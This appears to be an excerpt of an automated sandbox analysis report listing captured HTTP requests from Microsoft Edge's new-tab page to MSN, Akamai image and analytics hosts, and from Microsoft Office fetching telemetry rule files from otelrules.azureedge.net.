Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=068FFCF09D60634F3420E9D79CEE6292&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=0d66e01a569a484aef2b95b7c66b2020 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=068FFCF09D60634F3420E9D79CEE6292; _EDGE_S=F=1&SID=3A5CC35D774F62DC218AD67A7617639D; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1730166401151&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=068FFCF09D60634F3420E9D79CEE6292&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=068FFCF09D60634F3420E9D79CEE6292&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=602e5e48c7f9475bd5f9adc16454b770 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=068FFCF09D60634F3420E9D79CEE6292; _EDGE_S=F=1&SID=3A5CC35D774F62DC218AD67A7617639D; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730166401151&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3d37e0d41e704b1f8ce8809096ccd066&activityId=3d37e0d41e704b1f8ce8809096ccd066&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=068FFCF09D60634F3420E9D79CEE6292; _EDGE_S=F=1&SID=3A5CC35D774F62DC218AD67A7617639D; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730166401151&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=068FFCF09D60634F3420E9D79CEE6292&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1B7d7e7223fc3752c0cff731730166403; XID=1B7d7e7223fc3752c0cff731730166403
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730166401151&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3d37e0d41e704b1f8ce8809096ccd066&activityId=3d37e0d41e704b1f8ce8809096ccd066&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=94FE316E6C934768A15D0B4CDF178214&MUID=068FFCF09D60634F3420E9D79CEE6292 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=068FFCF09D60634F3420E9D79CEE6292; _EDGE_S=F=1&SID=3A5CC35D774F62DC218AD67A7617639D; _EDGE_V=1; msnup=; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
